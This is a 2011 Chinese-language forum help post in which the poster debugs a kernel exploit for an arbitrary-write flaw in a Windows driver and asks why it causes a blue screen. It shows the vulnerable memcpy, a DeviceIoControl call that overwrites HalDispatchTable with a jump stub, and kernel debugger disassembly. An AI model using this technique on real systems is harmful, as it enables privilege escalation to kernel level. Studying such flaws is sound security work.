-
-
[求助]急! 驱动溢出过程中的BSOD
-
发表于:
2011-2-16 22:05
4396
-
驱动的关键代码如下:
pIrp->IoStatus.Information = len;
memcpy(pIrp->UserBuffer,InputBuffer,len);
也就是任意内核地址写入的漏洞.
EXE部分:
char To0[]="\x68\x00\x00\x00\x00\xc3";
DeviceIoControl(hDevice,IOCTL1,(LPVOID)&To0,sizeof(To0),(LPVOID)(xHalQuerySystemInformation),0,&junk,NULL);
EXP执行后BSOD,错误如下:
Access violation - code c0000005 (!!! second chance !!!)
00009000 ?? ???
调试结果如下:
kd> u 0x8088e078
nt!HalDispatchTable:
8088e078 0300 add eax,dword ptr [eax]
8088e07a 0000 add byte ptr [eax],al
8088e07c 6800000000 push 0 //这里被我写成了PUSH 0,RET.想让内核调到EXP进程的0x0里去,那里有SHELLCODE
8088e081 c3 ret
8088e082 0080e0e48d80 add byte ptr nt!xHalQueryBusSlots (808de4e0)[eax],al
8088e088 0000 add byte ptr [eax],al
8088e08a 0000 add byte ptr [eax],al
8088e08c 669c pushf
kd> u 0x0
00000000 680f104000 push 40100Fh //真正SHELLCODE所在位置.
00000005 c3 ret
00000006 90 nop
00000007 90 nop
00000008 90 nop
00000009 90 nop
0000000a 90 nop
0000000b 90 nop
请问BSOD原因是什么呢?是栈堆不平衡么?如何解决呢? 谢谢.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课